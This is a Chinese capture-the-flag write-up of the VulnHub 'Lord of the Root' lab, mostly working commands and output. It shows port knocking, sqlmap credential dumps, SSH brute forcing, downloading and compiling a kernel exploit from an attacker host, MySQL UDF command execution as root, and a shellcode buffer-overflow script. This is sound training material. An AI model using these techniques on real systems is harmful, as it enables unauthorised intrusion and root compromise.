OSCP vulhub LORD OF THE ROOT: 1.0.1

靶场信息&安装

地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
发布日期:2015年9月23日
目标:得到root权限

Description

Back to the Top
I created this machine to help others learn some basic CTF hacking strategies and some tools. I aimed this machine to be very similar in difficulty to those I was breaking on the OSCP.

This is a boot-to-root machine will not require any guest interaction.

There are two designed methods for privilege escalation.

23/09/2015 == v1.0.1
22/09/2015 == v1.0

下载后ova直接使用vm打开
在这里插入图片描述

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.132.0/24

image-20210217114003001

由探测的结果可知,靶机的IP为192.168.137.134

2、扫描开放的端口和服务#

nmap -sS -P 1-65535 192.168.132.142
image-20210217114254236

得到开放的端口信息:

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
扫描出仅开放一个22端口,尝试通过SSH连接…

 nmap -sS -sV -T5 -A -P 192.168.132.142 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-11 09:23 CST
Nmap scan report for 192.168.132.142
Host is up (0.00064s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
|   2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|   256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_  256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
MAC Address: 00:0C:29:32:EC:E6 (VMware)

在这里插入图片描述

根据提示Easy as 1,2,3,可以想到利用端口碰撞

端口碰撞技术
hping3命令
http://lnmp.ailinux.net/hping3

这边使用hping命令冲撞三次试试1,2,3

nmap -n -v0 -Pn --max-retries 0 -p 1 192.168.132.142
nmap -n -v0 -Pn --max-retries 0 -p 2 192.168.132.142
nmap -n -v0 -Pn --max-retries 0 -p 3 192.168.132.142

hping3 -S 192.168.132.142 -p 1 -c 1
在这里插入图片描述

通过ping冲撞之后,防火墙规则会修改,重新使用nmap扫描

image-20210217120436096

发现1337号端口有个web应用,打开浏览器访问看看
在这里插入图片描述

访问robots.txt
http://192.168.132.142:1337/robots.txt
image-20210217120532733

base64解密网站

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
base64解密得到

Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
还是一段base64密文,继续解密得到

/978345210/index.php
给了个路径
http://192.168.132.142:1337/978345210/index.php
在这里插入图片描述

需要我们输入用户名和密码,这里直接使用sqlmap

sqlmap -u "http://192.168.132.142:1337/978345210/index.php" --forms --dbs --batch
sqlmap -o -u "http://192.168.132.142:1337/978345210/index.php" --forms -D Webapp --tables --batch
sqlmap -u http://192.168.132.142:1337/978345210/index.php --forms -D Webapp -T Users --columns --batch
sqlmap -u "http://192.168.132.142:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump-all --batch
sqlmap -u "http://192.168.132.142:1337/978345210/index.php" --forms --dbs

在这里插入图片描述

sqlmap -o -u "http://192.168.132.142:1337/978345210/index.php" --forms -D Webapp --tables --batch

在这里插入图片描述

sqlmap -u http://192.168.132.142:1337/978345210/index.php --forms -D Webapp -T Users --columns --batch

在这里插入图片描述

sqlmap -u "http://192.168.132.142:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump-all --batch

在这里插入图片描述
在这里插入图片描述

第一种ssh爆破

将这些用户名和密码保存在两个不同的文本中,使用msfconsole 来破解SSH正确的账号密码

username为101.txt
frodo
smeagol
aragorn
legolas
gimli
password为102.txt
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe
1:msfconsole运行
2:加载模块
use auxiliary/scanner/ssh/ssh_login
3:加载目标ip
Set rhosts 192.168.5.1
4:加载用户名
默认情况下用户名为root
直接执行 set username root 即可、
若默认用户名修改,需要加入字典破解
Set pass_file pass.txx
设置为字典破解
5:设置密码字典
Set user_file user.txt
6:开始破解
执行命令 run
7:成功破解

得到密码MyPreciousR00t

有了之后就ssh登录

第二种猜

登录账户为smeagol
在这里插入图片描述

根据注出的密码一个尝试

账号smeagol/MyPreciousR00t即可登录成功

ssh smeagol@192.168.132.142

得到ubuntu的版本信息

smeagol@LordOfTheRoot:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.3 LTS
Release:        14.04
Codename:       trusty
smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux

在这里插入图片描述

二、漏洞探测

google搜索Ubuntu 14.04 exploit,发现存在可以利用的漏洞

三、漏洞利用

在这里插入图片描述

这里我们就用39166.c来提权
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - ‘overlayfs’ Local Privilege Escalation (1)
https://www.exploit-db.com/exploits/39166

然后python开启服务,就exp传到靶机上

searchsploit -m 39166
python2 -m SimpleHTTPServer 8888

在这里插入图片描述
在这里插入图片描述

四、提权

编译运行上传的exp,获得root权限,查看flag

http://192.168.132.141:1337/39166.c
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
gcc 39166.c -o out
报错换一种,删除文件使用vm重新打开ova文件

# python2 -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...
192.168.132.142 - - [12/Jan/2023 13:31:40] "GET /39166.c HTTP/1.1" 200 -

meagol@LordOfTheRoot:~$ wget http://192.168.132.139:8888/39166.c
--2023-01-11 22:31:40--  http://192.168.132.139:8888/39166.c
Connecting to 192.168.132.139:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2680 (2.6K) [text/plain]
Saving to: ‘39166.c’

100%[============================================================>] 2,680       --.-K/s   in 0s      

2023-01-11 22:31:40 (239 MB/s) - ‘39166.c’ saved [2680/2680]

smeagol@LordOfTheRoot:~$ ls
39166.c  Desktop  Documents  Downloads  examples.desktop  Music  Pictures  Public  Templates  Videos
smeagol@LordOfTheRoot:~$ gcc 39166.c -o bmfxtq
smeagol@LordOfTheRoot:~$ ls
39166.c  Desktop    Downloads         Music     Public     Videos
bmfxtq   Documents  examples.desktop  Pictures  Templates
smeagol@LordOfTheRoot:~$ ls -la bmfxtq
-rwxrwxr-x 1 smeagol smeagol 8028 Jan 11 22:32 bmfxtq
smeagol@LordOfTheRoot:~$ ./bmfxtq
root@LordOfTheRoot:~# whoami
root

在这里插入图片描述
成功

第二种方法:udf提权

MySQL服务是以root身份运行,可以通过此处进行反弹shell提权

收集一下对应版本的信息
在这里插入图片描述

本地kali搜索对应版本是否存在exp

在这里插入图片描述

然后在exploit-db中找到udf提权

https://www.exploit-db.com/exploits/1518
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)

1518

在这里插入图片描述

这个要知道root用户登录的密码,

find / -name login.*

在/var/www/978345210目录下login.php文件中发现mysql的dba账号密码

在这里插入图片描述
看看可以不以使用UDF提权mysql是root用户运行的,如果我们提权成功,将获得root权限

smeagol@LordOfTheRoot:~$ mysql -u root -pdarkshadow
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 36
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

mysql> show global variables like 'secure%';

在这里插入图片描述

当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权
 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出文件只能发生在 /tmp/ 目录下,此时也无法提权
 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出文件做限制,此时可提权

查看主机版本及数据库架构,因数据库为i6886,要使用32位udf文件
在这里插入图片描述

查看plugin目录地址,此处为上传udf文件地址
找到之后就是提权了
在这里插入图片描述

可以在msf的/usr/share/metasploit-framework/data/exploits/mysql下,找到udf文件
在这里插入图片描述

将文件复制出来,因为是32位架构,所以使用lib_mysqludf_sys_32.so

在这里插入图片描述

攻击机启动8888端口,提供下载功能
python2 -m SimpleHTTPServer 8888

在这里插入图片描述连接数据库,进入一个库

在这里插入图片描述

 wget http://192.168.132.139:8888/lib_mysqludf_sys_32.so
smeagol@LordOfTheRoot:~$ mysql -u root -pdarkshadow

连接数据库后进入一个库


mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table temp(data longblob);
Query OK, 0 rows affected (0.03 sec)
#创建一个表,用来存储udf文件内容
mysql> insert into temp(data) values (load_file('/home/smeagol/lib_mysqludf_sys_32.so'));
Query OK, 1 row affected (0.02 sec)
#将udf文件插入到temp表中

mysql> select data from temp into dumpfile "/usr/lib/mysql/plugin/udf32.so";
Query OK, 1 row affected (0.01 sec)

mysql> create function sys_eval returns string soname 'udf32.so';
Query OK, 0 rows affected (0.02 sec)

mysql> select sys_eval('whoami');
+--------------------+                                                                                
| sys_eval('whoami') |                                                                                
+--------------------+                                                                                
| root               |                                                                                
+--------------------+                                                                                
1 row in set (0.13 sec)

mysql> select sys_eval('chmod u+s /usr/bin/find');
+-------------------------------------+
| sys_eval('chmod u+s /usr/bin/find') |
+-------------------------------------+
| NULL                                |
+-------------------------------------+
1 row in set (0.02 sec)

在这里插入图片描述
创建的sys_eval来执行命令了

mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.00 sec)

mysql> select sys_eval('ls /root/Flag.txt');
+-------------------------------+
| sys_eval('ls /root/Flag.txt') |
+-------------------------------+
| /root/Flag.txt                |
+-------------------------------+
1 row in set (0.00 sec)

mysql> select sys_eval('cat /root/Flag.txt');

在这里插入图片描述

第三种缓冲区溢出提权

缓冲区溢出漏洞的文件在根目录下的SECRET中,先看一下他们的文件信息
在这里插入图片描述

其中door3中的file文件与其他两个不一样

分别执行以下命令

./file $(python -c ‘print “A”*200’)
在这里插入图片描述

发现只有door3中的显示异常,可能存在缓冲区溢出

这里使用gdb工具进行调试

1647585393_6234287199131687fe2f8.png!small?1647585393585

首先找出代码溢出位置,就是上文中的20

既然在测试中200个字节就已经产生了溢出,那就先去生成一个不重复的两百的字节大小的字符串

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
在这里插入图片描述

将eip中的内容复制下来,通过kali中的另一个文件查找

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
1647586153_62342b6932b44a35ae9b7.png!small?1647586153184

171,那我们尝试控制eip中的内容

命令

run $(python -c ‘print “A”*171+“BBBB”’)
info r
1647586606_62342d2e45092c5d860aa.png!small?1647586606273

我们成功的控制了eip中的内容,那我们再往里添加数据看他会出现在哪里,由于我在SECRET中他们三个目录下的file是不断改变的(就是在刚测试的时候是door1下的file有漏洞,但等会又变成door2下file存在漏洞了,我也不知道为什么),所以我把漏洞文件复制到当前用户的文件夹下执行

1647587403_6234304b59fda9e66cc54.png!small?1647587403495

look! 他出现在esp中,那么只要让我们eip中的内容是我们esp的地址就行了,这里再提一嘴,因为计算机中的堆栈是先进后出就是我们若要构造esp的地址填充到eip中需要将esp地址反过来即

esp地址为’bffff610’

那我们往eip填写的数据需要是‘\x10\xf6\xff\xbf’,\x代表16进制

我们再看我们在/SECRET中执行的代码,这三次代码相同,但是每次esp地址却不同,甚至第三次他又没产生溢出漏洞,这就是我们上面讲的ASLR,他的地址在动态变化,防止我们制造出溢出漏洞,如何绕过他呢?

1647588022_623432b679a7dccfdc00f.png!small?1647588023051

假设他每次地址都在随机变化,那我们只要指定一个地址填充到eip中,并不断执行构造溢出,那是不是他终究会出现随机到和我们指定的地址相同这种情况,时不时就会执行我们的shellcode

编写exp

#!/bin/python
import os

buf=“A”*171

shellcode=“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80”
#for a in {1…1000}; do ./file $(python -c ‘print “A” * 171 + “\x40\xee\xff\xbf” + “\x90” * 2000 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80”’); done
shell=buf+“\x11\xee\xff\xbf”+“C”*20000+“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80”
for i in range(1,500):
os.system(‘./file’+" "+shell)
由于esp地址前两位一直是bf所以我们前两位不变,剩下六位随便填,不要填\x00就行,他有特殊含义不能被正确识别

代码中被注释的是我从其他作者文章中复制过来的,可以直接在shell中执行

执行命令

python /home/smeagol/door1/exploit.py
1647589092_623436e4525d71e30b653.png!small?1647589092314

因为没有权限在SECRET中写代码,所以将代码写在当前用户目录中

1647589198_6234374ed7d753743da7c.png!small?1647589199652

执行之后。成功获取root权限

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

GuiltyFet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值